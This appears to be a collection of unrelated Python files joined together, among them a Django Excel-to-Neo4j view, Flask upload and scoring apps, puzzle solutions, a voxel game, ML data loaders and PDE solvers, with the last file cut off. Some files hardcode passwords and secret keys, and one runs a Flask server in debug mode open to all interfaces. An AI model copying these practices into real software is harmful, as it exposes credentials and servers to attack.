def excel_upload(request):
    if request.method == "POST":
        print('hi')
        path = request.FILES['excel_file']
        data = pd.read_excel(
            path,
            dtype=str,
            # usecols="A:F"
            # skiprows=[0, 1, 2, 3],
            # index_col=3,
        )
        data = data[data["Шифр"].str.startswith("1.") == False]
        data = data[data["Шифр"].str.startswith("ОКЦ") == False]
        info = 'Проект,Смета,Шифр,НаименованиеПолное'

        # обработка excel

        myJson = {
            "data": [
                {

                    "wbs1": volume['Проект'] or "None",
                    "wbs2": volume['Смета'] or "None",
                    "wbs3_id": str(volume['Шифр']) or "None",
                    "wbs3": str(volume['Шифр']) or "None",

                    "name": volume['НаименованиеПолное'] or "None",
                    "value": 0,
                    "wbs": ''.join((re.search(r'№\S*', volume['Смета']).group(0)[1:], '.', str(volume['Пункт']))),
                    # "wbs3_id": ''.join((item.building or "", item.storey.name if item.storey else "", item.name)),
                    'number': int(re.search(r'№\S*', volume['Смета']).group(0)[1:].split('-')[0])
                }
                for item, volume in data.iterrows()
            ]
        }

        dins = {key['wbs3'] for key in myJson['data']}
        # add async
        user_graph = neo4jexplorer.Neo4jExplorer(uri=URL)
        driver_hist = GraphDatabase.driver('neo4j+s://0fdb78bd.databases.neo4j.io:7687', auth=(USER, PASS))
        driver_user = GraphDatabase.driver(URL, auth=(USER, '231099'))
        # тут ресторю в свой граф из эксель
        time_now = datetime.now()
        try:
            print(os.getcwd())
            graph_copy(driver_hist.session(), driver_user.session())
        except Exception as e:
            print("views.py 402", e.args)
        user_graph.create_new_graph_algo(dins)

        global graph_data
        graph_data = myJson["data"]
        graph_data.sort(
            key=lambda x: (
                x.get("number", "") or "",
                x.get("wbs3_id", "") or "",
            )
        )
        return render(
            request,
            "myapp/excel_table.html",
            {
                "myJson": myJson["data"],
            }
        )

    return render(
        request,
        "myapp/excel.html"
    )


#!/usr/bin/env python3

# Index in coordinate tuples.
X = 0
Y = 1

def is_touching(p1: tuple[int, int], p2: tuple[int, int]) -> bool:
    return abs(p1[X] - p2[X]) <= 1 and abs(p1[Y] - p2[Y]) <= 1

def follow(head: tuple[int, int], tail: tuple[int, int]) -> tuple[int, int]:
    if not is_touching(head, tail):
        dx = dy = 0

        # Determine the movement the tail should take:
        # The sign of the distance determines its movement along the axis, the
        # division with its absolute value makes sure it's only 1, since we're\
        # doing this step by step.
        if head[X] != tail[X]:
            dx = int((head[X] - tail[X]) / abs(head[X] - tail[X]))
        if head[Y] != tail[Y]:
            dy = int((head[Y] - tail[Y]) / abs(head[Y] - tail[Y]))

        tail = (tail[X] + dx, tail[Y] + dy)
    return tail

# Movement in (x, y) coordinates
movement = {'L': (-1, 0),
            'R': (1, 0),
            'U': (0, 1),
            'D': (0, -1)}

def follow_the_leader(knots: list[tuple[int, int]], m: tuple[int,int]) -> None:
    # Move head
    knots[0] = (knots[0][X] + m[X], knots[0][Y] + m[Y])

    # The rest follows in the same tail -> head way as in part 1
    for i in range(1, len(knots)):
        knots[i] = follow(knots[i - 1], knots[i])

with open("input") as data:
    moves = [tuple(l.strip().split()) for l in data]
knots = [(0, 0) for _ in range(10)]
visited = set()
visited.add(knots[-1])
for direction, distance in moves:
    distance = int(distance)
    m = movement[direction]
    for _ in range(distance):
        follow_the_leader(knots, m)
        visited.add(knots[-1])
print()
print(len(visited))


# -*- coding: utf-8 -*-
"""
Created on Thu Nov 10 15:59:25 2016
https://www.youtube.com/watch?v=wzrGwor2veQ&list=PLQVvvaa0QuDe8XSftW-RAxdo6OmaeL85M&index=55
Socket intro
@author: Ben
"""

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print('Socket information: ' +str(s))

server = 'pythonprogramming.net'
port = 80

server_ip = socket.gethostbyname(server)
print('Server IP: ' +server_ip)

request ="GET / HTTP/1.1\nHost: "+server+"\n\n"

s.connect((server,port))
s.send(request.encode())
result = s.recv(4096)

#print(result)

while (len(result) > 0):
    print(result)
    result = s.recv(4096)

#fo = open("xxx.txt", "wb")
#fo.write(s)
#print("name of the file: ", fo.name)

#fo.close()


# Title: 비트가 넘쳐흘러
# Link: https://www.acmicpc.net/problem/17419

import sys

sys.setrecursionlimit(10 ** 6)

read_single_int = lambda: int(sys.stdin.readline().strip())
read_single_str = lambda: sys.stdin.readline().strip()

def solution(n: int, num: str):
    return num.count('1')

def main():
    n = read_single_int()
    num = read_single_str()
    print(solution(n, num))

if __name__ == '__main__':
    main()


#!usr/bin/env python3

def transc_table(ipatable):
    transkey = {}
    with open(ipatable, 'r', encoding='utf-8') as f:
        for line in f:
            ortho = line.strip().split('\t')[0]
            ipa = line.strip().split('\t')[1]
            transkey[ortho]=ipa
    return transkey

def transcribe_wds(ipatable, infile, outfile):
    '''
    this only transcribes the first word on each line! assumes file to be tab-separated. comments, glosses, etc. will be left alone
    '''
    transkey = transc_table(ipatable)
    with open(infile, 'r', encoding='utf-8') as f:
        with open(outfile, 'w', encoding='utf-8') as out:
            for line in f:
                word = line.strip().split('\t')[0].split(' ')
                rest = '\t'.join(line.strip().split('\t')[1:])
                out.write('\t'.join([' '.join([transkey[ortho] if ortho in transkey else ortho for ortho in word]), rest])+'\n')
    print('done')

quech_ipa_table = '/home/maria/git/transcribers/quechua/quechua_transcription_key.txt'

#newspaper words file, segmented:

#quechortho = '/home/maria/git/morphology/quechua/words/NC_type_seg.txt'
#quechipa = '/home/maria/git/morphology/quechua/words/words_ipa.txt'

#roots file:
#quechortho = '/home/maria/git/morphology/quechua/roots/LearningData.txt'
#quechipa = '/home/maria/git/morphology/quechua/roots/roots_ipa.txt'

#unsegmented novela:
#quechortho = '/home/maria/git/morphology/quechua/words/PYW_novela.txt'
#quechipa = '/home/maria/git/morphology/quechua/words/novela_ipa.txt'

#quechortho = '/home/maria/git/phonotactics/data/quechua/wds/LearningData.txt'

quechortho = '/home/maria/git/phonotactics/data/quechua/wds/TestingData_pseudoorth.txt'
quechipa = '/home/maria/Desktop/TestingData.txt'

transcribe_wds(quech_ipa_table, quechortho, quechipa)


H, W = map(int, input().split())

graph = []
for i in range(H):
    s = input()
    graph.append(s)

def dfs(now, increment, count):
    now = (now[0] + increment[0], now[1] + increment[1])
    x, y = now

    if (not 0 <= x < W) or (not 0 <= y < H):
        return count - 1

    if graph[y][x] == "#":
        return count - 1

    if count == 5:
        return 4

    return dfs(now, increment, count+1)

ans = 1
for y in range(H):
    for x in range(W):
        if graph[y][x] == '.':
            a = dfs((x, y), (0, 1), 1)
            b = dfs((x, y), (0, -1), 1)
            c = dfs((x, y), (1, 0), 1)
            d = dfs((x, y), (-1, 0), 1)
            ans = max(ans, 1 + a + b + c + d)

print(ans)


from ursina import *
from ursina.prefabs.first_person_controller import FirstPersonController

app = Ursina()
grass_texture = load_texture('assets/grass_block.png')
stone_texture = load_texture('assets/stone_block.png')
brick_texture = load_texture('assests/brick_block.png')
dirt_texture  = load_texture('assets/dirt_block.png')
sky_texture = load_texture('assets/skybox.png')
arm_texture = load_texture('assets/arm_texture.png')
punch_sound=Audio('assets/punch_sound',loop=False, autoplay=False)
block_pick = 1  #<----creating a variable for creating blocks

def update():
    global block_pick

    if held_keys['left mouse'] or held_keys['right mouse']:
        hand.active()
    else:
        hand.passive()

    if held_keys['1']: block_pick=1
    if held_keys['2']: block_pick=2
    if held_keys['3']: block_pick=3
    if held_keys['4']: block_pick=4

class Voxel(Button):   #creating a class containing cube methods
    def __init__(self, position=(0,0,0),texture=grass_texture):
        super().__init__(
            parent= scene,
            position=position,
            model= 'assets/block',
            origin_y= 0.5,
            texture = texture ,
            color=color.color(0,0,random.uniform(0.9,1)),
            scale = 0.5
        )
    def input(self,key):   #lets you create
        if self.hovered:

            if key == 'left mouse down':     # establishing loop for the creation new cubes
               punch_sound.play()
               if block_pick == 1:voxel= Voxel(position=self.position+ mouse.normal,texture = grass_texture)
               if block_pick == 2:voxel= Voxel(position=self.position+ mouse.normal,texture = stone_texture)
               if block_pick == 3:voxel= Voxel(position=self.position+ mouse.normal,texture = brick_texture)
               if block_pick == 4:voxel= Voxel(position=self.position+ mouse.normal,texture = dirt_texture)

            if key == 'right mouse down':
                punch_sound.play()
                destroy(self)

class Sky(Entity):
    def __init__(self):
        super().__init__(
            parent = scene,
            model='sphere',
            texture = sky_texture,
            scale=150,
            double_sided=True
        )

class Hand(Entity):
    def __init__(self):
        super().__init__(
           parent= camera.ui,
           model= 'assets/arm',
           texture=  arm_texture,
           scale = 0.2,
           rotation = Vec3(150,-10,0),  #creating hand in 3d spam
           position=  Vec2(0.4,-0.6)
        )

    def active(self):
        self.position = Vec2(0.3,-0.5)  #methods that influence the postion of the hand

    def passive(self):
        self.positiom = Vec2(0.4,-0.6)

def input(key):
     if key == "q":
         quit()

for z in range(32):                    # loop for field parameters in the z direction
    for x in range(32):                #loop for field parameters in the x direction
        voxel= Voxel(position=(x,0,z))
player=FirstPersonController()         #allows us to move in game
sky= Sky()
hand= Hand()

app.run()


import json

from datetime import datetime, timedelta

from app import app, db, models
from flask import render_template, jsonify, request

@app.route('/')
@app.route('/index')
def index():
  username = request.args.get('username')
  if username is None:
    return 'user name must be specified as ?username=xxx'
  return render_template('index.html', username=username)

@app.route('/admin')
def admin():
  username = request.args.get('username')
  if username is None:
    return 'user name must be specified as ?username=xxx'
  return render_template('admin.html', username=username)

@app.route('/_add_star', methods=['GET', 'POST'])
def add_star():
  model = db.get_model()
  username = request.args.get('username')
  if username is None:
    return 'Exception: user name not specified'
  reason = request.args.get('reason')
  if reason is not None:
    app.logger.info('setting reason to ' + reason)
  timestamp = request.args.get('timestamp')
  s = models.Score(username=username, reason=reason, timestamp=int(timestamp))
  model.create(username, s.to_dict())
  return 'Star added'

@app.route('/_reset_star', methods=['POST'])
def reset_star():
  model = db.get_model()
  username = request.args.get('username')
  if username is None:
    return 'Exception: user name not specified'
  model.reset(username)
  return 'Star reset'

@app.route('/_get_stars', methods=['GET'])
def get_star():
  model = db.get_model()
  username = request.args.get('username')
  stars = model.list(username)
  for star in stars:
    star.pop('_id', None)
  return jsonify(stars)

@app.route('/_get_stars_count', methods=['GET'])
def get_stars_count():
  model = db.get_model()
  username = request.args.get('username')
  stars_count = model.count(username)
  return stars_count


import math

initial_orientation = 90 # with respect to x as
start_posx = 2
start_posy = 2
end_posx = 4
end_posy = 4
max_forward_radius = 1.5
max_backwards_radius = 1

x_center = start_posx + max_forward_radius*math.cos(math.radians(initial_orientation-90))
y_center = start_posy + max_forward_radius*math.sin(math.radians(initial_orientation-90))

displacement_vector = math.sqrt((x_center-end_posx)**2+(y_center-end_posy)**2)
l_straight_line = math.sqrt(displacement_vector**2-max_forward_radius**2)


import os
from flask import Flask, flash, request, redirect, url_for
from werkzeug.utils import secure_filename
import model.apply_model as am

UPLOAD_FOLDER = '/Users/Fabian/Projects/HackBay2019/hail_model/request_data'
ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.secret_key = 'super secret key'
app.config['SESSION_TYPE'] = 'filesystem'

#def allowed_file(filename):
#    return '.' in filename and \
#           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/output_data', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        # if user does not select file, browser also
        # submit an empty part without filename
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return redirect(url_for('results',
                                    filename=filename))
    return '''
    <!doctype html>
    <title>Upload new File</title>

Upload new File

    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''
@app.route('/results', methods=['GET', 'POST'])
def results():
   # output = am.apply_model(test_dir=UPLOAD_FOLDER+'/', test_dir_resized=UPLOAD_FOLDER+'_resized/')
    #redirect(url_for('results',filename=filename))
    return am.apply_model(test_dir=UPLOAD_FOLDER+'/', test_dir_resized=UPLOAD_FOLDER+'_resized/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

"""
run flask in dev env

$ env FLASK_ENV=development FLASK_APP=test_request.py flask run
"""

"""
from flask import Flask, request, abort

app = Flask(__name__)

@app.route('/output_data', methods=['POST'])
def foo():
    print(request)
    file = request.files['']
    print(file)
    return "he4llo"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
"""


import argparse
import re
from datetime import datetime

from cli.models.models import CliData, PHONE, LOGIN, PASSWORD, SIP_DEVICE, \
    SIP_ENABLED, IDENTIFY_LINE
from cli.utils.help_message import *

CHOICE_FILTER = ['all', 'activate', 'deactivate']
CHOICE_ACTION = ['a', 'd']
CHOICE_VIEW = [PHONE, LOGIN, PASSWORD, SIP_DEVICE, SIP_ENABLED, IDENTIFY_LINE]

class NumsAction(argparse.Action):
    """
    A class for extended handler input nums, it converts bash-string
    separated by spaces or \n in the list.
    """

    def __init__(self, option_strings, dest, nargs=None, **kwargs):
        super(NumsAction, self).__init__(option_strings, dest, **kwargs)

    def __call__(self, parser, namespace, values, option_string=None):
        setattr(namespace, self.dest, re.split('\n| ', values))

def arg_parse() -> CliData:
    time_fmt = "%Y-%m-%d_%H-%M"
    timestamp = datetime.strftime(datetime.now(), format=time_fmt)
    filename = f'vats_{timestamp}.xlsx'

    arg_engine = argparse.ArgumentParser(prog='cli')
    arg_engine.add_argument("-f",
                            type=str,
                            nargs='?',
                            const=filename,
                            default=None,
                            dest='filename',
                            help=HELP_F)
    arg_engine.add_argument("-l",
                            action="store_false",
                            dest='display',
                            help=HELP_L)
    arg_engine.add_argument("-v",
                            type=str,
                            nargs='+',
                            help=HELP_V,
                            default=['all', ],
                            dest='view',
                            choices=CHOICE_VIEW)
    arg_engine.add_argument("--action",
                            type=str,
                            nargs='+',
                            default=None,
                            dest='action',
                            choices=CHOICE_ACTION,
                            help=HELP_ACTION)
    arg_engine.add_argument("--login",
                            type=str,
                            dest='login',
                            required=True,
                            help=HELP_LOGIN)
    arg_engine.add_argument("--nums",
                            type=str,
                            nargs='+',
                            dest="nums",
                            action=NumsAction,
                            help=HELP_NUMS)
    arg_engine.add_argument("--filter",
                            nargs='?',
                            default='all',
                            dest='filter',
                            choices=CHOICE_FILTER,
                            help=HELP_FILTER)
    args = arg_engine.parse_args()
    cli_data = CliData(**vars(args))
    return cli_data


import commentjson as json
import os

class Config:
    def __init__(self, dictfile):
        self.dictfile = dictfile
        if not os.path.exists(self.dictfile):
            with open(self.dictfile, 'w', encoding='utf-8') as file:
                json.dump({
                        "users": {
                            "testUser": "password"
                        },
                        "logfmt": "{%(name)s} %(levelname)s: %(message)s",
                        "logLevel": "DEBUG"
                }, file, indent=4)

    def load(self) -> dict:
        with open(self.dictfile, 'r', encoding='utf-8') as file:
            return json.load(file)

    def dump(self, dictionary) -> None:
        with open(self.dictfile, 'w', encoding='utf-8') as file:
            json.dump(dictionary, file, indent=4)


from django.db import models
from comments.models import Comment
from authentication.models import User

# Create your models here.

class Reply(models.Model):
    created = models.DateTimeField(auto_now_add=True)
    user = models.ForeignKey(
        User, related_name='replies', on_delete=models.CASCADE)
    comment = models.ForeignKey(
        Comment, related_name='replies', on_delete=models.CASCADE)
    text = models.CharField(max_length=300, blank=True, default='')

class Meta:
    ordering = ['created']
    class Meta:
        ordering = ['created']


import torch
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from torch.utils.data import Dataset, DataLoader
import glob
from pathlib import Path
import os

class TickerDataset(Dataset):

    def __init__(self, root_dir, series_length, lookback, min_sequence_length, template='*.csv', transform=None,
                 start_date=None, end_date=None, fixed_start_date=False, datetime_format='%Y-%m-%d',
                 normalised_returns=False, max_n_files=None):
        self.series_length = series_length
        self.lookback = lookback
        self.transform = transform
        self.start_date = start_date
        self.end_date = end_date
        self.datetime_format = datetime_format
        self.fixed_start_date = fixed_start_date
        self.normalised_returns = normalised_returns

        # Only keep tickers with length less than a minimum.
        ticker_files = glob.glob(str(Path(root_dir) / template))
        if max_n_files:
            ticker_files = ticker_files[:max_n_files]
        self.ticker_files = []
        print(f'Finding tickers with sufficient length, from {len(ticker_files)} files.')
        for ticker_file in ticker_files:

            if 0:
                if os.path.basename(ticker_file) != 'MS_prices.csv':
                    continue

            df = read_csv(ticker_file, self.datetime_format)

            # Identify the indices within the given date range.
            if start_date and end_date:
                valid_indices = ((df.index >= start_date) & (df.index <= end_date))
            elif start_date:
                valid_indices = df.index >= start_date
            elif end_date:
                valid_indices = df.index <= end_date
            else:
                assert False

            if sum(valid_indices) == 0:
                # No days in the given date range.
                continue

            # Get the indicies of the valid days in the date range.
            valid_indices = np.where(valid_indices)[0]

            if valid_indices[0] < lookback:
                # Not enough days before the start date to compute returns.
                continue

            if len(valid_indices) < series_length:
                # Not enough days between the start and end date.
                continue

            self.ticker_files.append(ticker_file)
            continue

            # start_date_index = np.

            # Get the index of the start date.
            start_date_row = df.index.get_loc(self.start_date)

            if self.start_date:
                df = df.loc[self.start_date:]
            if self.end_date:
                df = df.loc[:self.end_date]

            if df.shape[0] >= min_sequence_length:
                self.ticker_files.append(ticker_file)
        print(f'Found {len(self.ticker_files)} files.')

    def __len__(self):
        return len(self.ticker_files)

    def __getitem__(self, idx):
        if torch.is_tensor(idx):
            idx = idx.tolist()

        filename = self.ticker_files[idx]
        df = read_csv(filename, self.datetime_format)

        # Calculate a rolling z-score.
        df['returns'] = df['close'].pct_change()
        if self.normalised_returns:
            # Normalised returns.
            df['returns'] = (df['returns'] - df['returns'].rolling(self.lookback).mean()) / df['returns'].rolling(self.lookback).std()

        if 0:
            # Return close prices.
            df['returns'] = df['close']

        df = df.dropna()

        # Filter dates *after* calculating returns, so previous dates can be used in the lookback.
        if self.start_date:
            df = df.loc[self.start_date:]
        if self.end_date:
            df = df.loc[:self.end_date]

        returns = np.array(df['returns'])

        if self.fixed_start_date:
            # Get a series at the start date.
            start = 0
        else:
            # Get a random sub-series.
            start = np.random.randint(0, returns.shape[0] - self.series_length)
        series = returns[start: start + self.series_length]
        # Add extra feature dimension.
        series = series[..., np.newaxis]
        # Convert to torch tensor.
        series = torch.from_numpy(series)

        dates = df.index.values[start: start + self.series_length]
        dates = [str(d) for d in dates]

        sample = {
            'series': series,
            'filename': filename,
            'dates': dates,
        }

        return sample

def read_csv(filename, datetime_format):
    df = pd.read_csv(filename)
    df['date'] = pd.to_datetime(df['date'], format=datetime_format)
    df.set_index('date', inplace=True)
    return df

def create_ticker_dataset(root_dir, series_length, lookback, min_sequence_length,
                          start_date=None, end_date=None, fixed_start_date=False,
                          normalised_returns=False, max_n_files=None):
    dataset = TickerDataset(root_dir, series_length, lookback, min_sequence_length,
                            start_date=start_date, end_date=end_date, fixed_start_date=fixed_start_date,
                            normalised_returns=normalised_returns, max_n_files=max_n_files)
    return dataset

def test_ticker_dataset():
    root_dir = r'D:\projects\trading\mlbootcamp\tickers'
    series_length = 200
    lookback = 200
    min_sequence_length = 2 * (series_length + lookback)
    max_n_files = 100

    dataset = create_ticker_dataset(root_dir, series_length, lookback, min_sequence_length, max_n_files=max_n_files)
    dataloader = DataLoader(dataset, batch_size=4, shuffle=True, num_workers=0)

    for b, batch in enumerate(dataloader):
        series = batch['series']
        filename = batch['filename']
        dates = batch['dates']
        print(b, series.shape, filename, dates)

def main():

    df = pd.read_csv(r'D:\projects\trading\mlbootcamp\tickers\AAPL_prices.csv')

    # Calculate a rolling z-score.
    lookback = 200
    df['returns'] = df['close'].pct_change()
    df['returns'] = (df['returns'] - df['returns'].rolling(lookback).mean()) / df['returns'].rolling(lookback).std()

    fig, axes = plt.subplots(1, 1, squeeze=False)
    ax = axes[0, 0]
    # ax.plot(df['date'], df['close'])

    # df['close'].plot()
    df['returns'].plot()
    # df['mean'].plot()

    plt.show()

    print(df.info())

if __name__ == '__main__':
    test_ticker_dataset()
    # main()


from odoo import api, fields, models

class ResConfigSettings(models.TransientModel):
    _inherit = 'res.config.settings'

    show_timesheet_name = fields.Boolean(
        'Show timesheet names',
        default=False,
        config_parameter='enhance_maintenance.show_timesheet_name',
    )
    show_expense_name = fields.Boolean(
        'Show expense names',
        default=False,
        config_parameter='enhance_maintenance.show_expense_name',
    )
    show_away_name = fields.Boolean(
        'Show away names',
        default=False,
        config_parameter='enhance_maintenance.show_away_name',
    )


import torch

def cosine_metric(novels, bases):
    """
    Args:
        novel (tensor): [dim] -> [batch_size,dim]
        bases (tensro): [batch_size,dim]
    Returns:
    """
    # batch_size = bases.shape[0]
    # novels = novel.unsqueeze(0).expand(batch_size, -1)

    n = novels.shape[0]  # [25]=[5-way,5-shot]
    m = bases.shape[1]  # [5]=[5-way,1-shot]
    novels = novels.unsqueeze(1).expand(n, m, -1)  # [25,5,1600]

    bases = bases.transpose(1,0)
    bases = bases.unsqueeze(0).expand(n, m, -1)  # [25,5,1600]

    assert novels.size() == bases.size()
    cos = torch.nn.CosineSimilarity(dim=-1, eps=1e-6)
    sim_score = cos(bases, novels)

    # print(sim_score.shape)
    return sim_score

def euclidean_dis(a, b):
    n = a.shape[0]  # [25]=[5-way,5-shot]
    m = b.shape[0]  # [5]=[5-way,1-shot]
    a = a.unsqueeze(1).expand(n, m, -1)  # [25,5,1600]
    b = b.unsqueeze(0).expand(n, m, -1)  # [25,5,1600]
    # dis = torch.pow(a - b, 2).sum(dim=2).clamp(min=1e-12).sqrt()
    dis = torch.pow(a - b, 2).sum(dim=2).sqrt()
    return dis

def euclidean_metric(a, b):  # 欧式距离度量[query,support]
    """
    :param a:[query_shot*way,D]=[Q*5,1600]
    :param b:[way,D]=[5,1600]
    :return:[Q*N,way]=[50,5]
    """
    n = a.shape[0]  # [25]=[5-way,5-shot]
    m = b.shape[1]  # [5]=[5-way,1-shot]
    a = a.unsqueeze(1).expand(n, m, -1)  # [25,5,1600]

    b = b.transpose(1,0)
    b = b.unsqueeze(0).expand(n, m, -1)  # [25,5,1600]

    print(a.shape, b.shape)

    logits = -((a - b) ** 2).sum(dim=2)  # [Q*N,way]->[25,5]  query的25张图，每张图用一个5维向量表示标签信息,sum(dim=1600)
    # 这里距离用于计算acc和loss，所以不用开方也能比较大小.要计算softmax，而距离越大越不相似因此取反
    return logits  # [25,5]->25张query图像，分别与5张support的距离，取距离负数，取最大的下标，即为预测的类别


# -*- coding: utf-8 -*-
import tensorflow as tf
import numpy as np
from tensorflow.python.keras.datasets import mnist

if __name__ == '__main__':
	# prepara input images
	(x_train, y_train), (x_test, y_test) = mnist.load_data()
	x_test = x_test.reshape(x_test.shape[0], x_test.shape[1], x_test.shape[2], 1)
	x_test = x_test / 255.
	x_test = x_test.astype(np.float32)

	## load model
	# for tensorflow 1.12
	# interpreter = tf.contrib.lite.Interpreter(model_path="conv_mnist.tflite")
	# for tensorflow-nightly (1.14)
	interpreter = tf.lite.Interpreter(model_path="conv_mnist.tflite")
	interpreter.allocate_tensors()
	input_details = interpreter.get_input_details()
	output_details = interpreter.get_output_details()

	results = []
	for i in range(x_test.shape[0]):
		# set input tensor
		x = x_test[i].reshape(1,28,28,1)
		interpreter.set_tensor(input_details[0]['index'], x)

		# run
		interpreter.invoke()

		# get outpu tensor
		probs = interpreter.get_tensor(output_details[0]['index'])
		results.append(np.argmax(probs))

	# print result
	print("accuracy = ", 1.0 * np.sum(y_test == results) / y_test.size)


import petsc4py
import sys
import numpy as np
import matplotlib.pyplot as plt

petsc4py.init(sys.argv)

from petsc4py import PETSc

DX = 0.02
DT = 0.01
T0 = 1.0
N_POINTS = int(1/DX)+1
N_TIME_STEPS = int(T0/DT)+1

AA = 1.0
ALPHA = 0.01
CC = AA*DT/DX
SS = ALPHA*DT/DX**2

def exact_solution(x, t: float):
    c1 = 0.025/np.sqrt(0.000625+0.02*t)
    c2 = 0.00125 + 0.04*t
    uu = (x+0.5-t)**2
    uu = c1*np.exp(-uu/c2)
    return uu

def initial_condition(mesh: np.ndarray):
    #return np.exp(-(mesh+0.5)**2/0.00125)
    return np.zeros_like(mesh)

def boundary_condition_0(t: float):
    c1 = 0.025/np.sqrt(0.000625+0.02*t)
    c2 = 0.00125 + 0.04*t
    return c1*np.exp(-(0.5-t)**2/c2)

def boundary_condition_1(t: float):
    c1 = 0.025/np.sqrt(0.000625+0.02*t)
    c2 = 0.00125 + 0.04*t
    return c1*np.exp(-(1.5-t)**2/c2)

# ==================================================
# Sphinx doc `include` start

def lax_wendroff(mesh: np.array):

    print('Lax-Wendroff')

    def step(un: np.array, t: float):

        c1 = 0.5*(2*SS+CC+CC**2)
        c2 = 1-2*SS-CC**2
        c3 = 0.5*(2*SS-CC+CC**2)
        uu = np.zeros_like(un)

        uu[0] = boundary_condition_0(t)
        uu[-1]= boundary_condition_1(t)

        for i in range(1, N_POINTS-1):
            uu[i] = c1*un[i-1] + c2*un[i] +c3*un[i+1]

        return uu

    current_solution = initial_condition(mesh)

    for iter in range(N_TIME_STEPS):

        t = (iter+1)*DT
        current_solution = step(current_solution, t)

    return current_solution

def crank_nicolson(mesh: np.ndarray):

    def ndarray_b(un: np.ndarray):

        bb = np.zeros_like(un)

        _c1 = CC+2*SS
        _c2 = 4-4*SS
        _c3 = -(CC-2*SS)

        bb[0] = un[0]
        bb[-1]= un[-1]

        for i in range(1, N_POINTS-1):
            bb[i] = _c1*un[i-1] + _c2*un[i] + _c3*un[i+1]

        return bb

    c1 = -(CC+2*SS)
    c2 = 4+4*SS
    c3 = CC-2*SS

    # Create a new sparse PETSc matrix, fill it and then assemble it
    A = PETSc.Mat().createAIJ([N_POINTS, N_POINTS])
    A.setUp()

    A.setValue(0, 0, 1.0)
    A.setValue(N_POINTS-1, N_POINTS-1, 1.0)

    for i in range(1, N_POINTS-1):
        A.setValue(i, i-1, c1)
        A.setValue(i, i,   c2)
        A.setValue(i, i+1, c3)
    A.assemble()

    # Assemble the initial rhs to the linear system
    b = PETSc.Vec().createSeq(N_POINTS)
    b.setArray(ndarray_b(initial_condition(mesh)))

    # Allocate a PETSc vector storing the solution to the linear system
    x = PETSc.Vec().createSeq(N_POINTS)

    # Instantiate a linear solver: Krylow subspace linear iterative solver
    ksp = PETSc.KSP().create()
    ksp.setOperators(A)
    ksp.setFromOptions()

    chosen_solver = ksp.getType()
    print('Crank-Nicolson [solver: %s]'%(chosen_solver))

    for iter in range(N_TIME_STEPS):

        t = (iter+1)*DT
        ksp.solve(b, x)

        # Re-assemble the rhs to move forward in time
        current_solution = x.getArray()
        current_solution[0] = boundary_condition_0(t)
        current_solution[-1]= boundary_condition_1(t)

        b.setArray(ndarray_b(current_solution))

    return current_solution

# Sphinx doc `include` end
# ==================================================

if __name__ == "__main__":

    mesh = np.linspace(0.0, 1.0, N_POINTS)

    sol1 = lax_wendroff(mesh)
    sol2 = crank_nicolson(mesh)

    plt.figure()
    plt.plot(mesh, exact_solution(mesh, T0), 'r')
    plt.plot(mesh, sol1, 'b--')
    plt.plot(mesh, sol2, 'g.')
    plt.legend(['exact', 'lax', 'crank'])
    plt.savefig('../figures/example_02.jpg', dpi=300)


import random
suits=["Hearts","Diamonds","Spades","Clubs"]
ranks=["Ace","Two","Three","Four","Five","Six","Seven","Eight","Nine","Ten","Jack","Queen","King"]
values={"Ace":11,"Two":2,"Three":3,"Four":4,"Five":5,"Six":6,"Seven":7,"Eight":8,"Nine":9,"Ten":10,"Jack":10,"Queen":10,"King":10}
class Card:
    def __init__(self,suit,rank):
        self.suit=suit
        self.rank=rank
    def __str__(self):
        return self.rank +" of "+self.suit
class Deck:
    def __init__(self):
        self.deck=[]
        for suit in suits:
            for rank in ranks:
                self.deck.append(Card(suit,rank))
    def __str__(self):
       deck_comp=""
       for card in self.deck:
           deck_comp=deck_comp+"\n"+card.__str__()
       return("The deck has: "+deck_comp)
    def Shuffle(self):
        random.shuffle(self.deck)
    def deal(self):
        return self.deck.pop()
class hand:
    def __init__(self):
        self.owned_cards=[]
        self.value=0
        self.aces=0
    def add_card(self,card):
        self.owned_cards.append(card)
        self.value+= values[card.rank]
        if card.rank=="Ace":
            self.aces+=1
    def manage_aces(self):
        while self.value>21 and self.aces:
            self.value-=10
            self.aces-=1
class chips:
    def __init__(self,total=100):
        self.total=total
        self.bet=0
    def win_bet(self):
        self.total+=self.bet
    def lose_bet(self):
        self.total-=self.bet
def take_bet(user):
    while True:
        try:
            bet=int(input("Enter your bet "))
        except:
            print("Enter an integer. ")
            continue
        else:
            if bet>user.total:
                print("Your bet is more than your available balance.")
                continue
            else:
                user.bet=bet
                break
def show_some(dealer,user):
    print("Dealer's Hand: \n",dealer.owned_cards[1])
    print("< Hidden Card >")
    print("\n")
    print("User's Hand: ", *user.owned_cards, sep="\n")
    print("\n")
def show_all(dealer,user):
    print("Dealer's Hand: \n", *dealer.owned_cards, sep="\n")
    print("Dealer's Hand Value: ", dealer.value)
    print("\n")
    print("User's Hand: ", *user.owned_cards, sep="\n")
    print("User's Hand Value: ", user.value)
    print("\n")
def user_wins(user):
    print("User wins..!!")
    print("\n")
    user.win_bet()
def user_busts(user):
    print("User busts... Dealer Wins...!! ")
    print("\n")
    user.lose_bet()
def dealer_wins(user):
    print("Dealer wins..!! ")
    print("\n")
    user.lose_bet()
def dealer_busts(user):
    print("Dealer Busts.. User Wins..!! ")
    print("\n")
    user.win_bet()
def hit_or_stand(dealer,user):
    global deck
    global user_chips
    decision=True
    while decision:
        decision=input("Do you want to hit or stand? Enter 'h' to hit or 's' to stand ")
        print("\n")
        if decision=='h':
            user.add_card(deck.deal())
            user.manage_aces()
            if user.value>21:
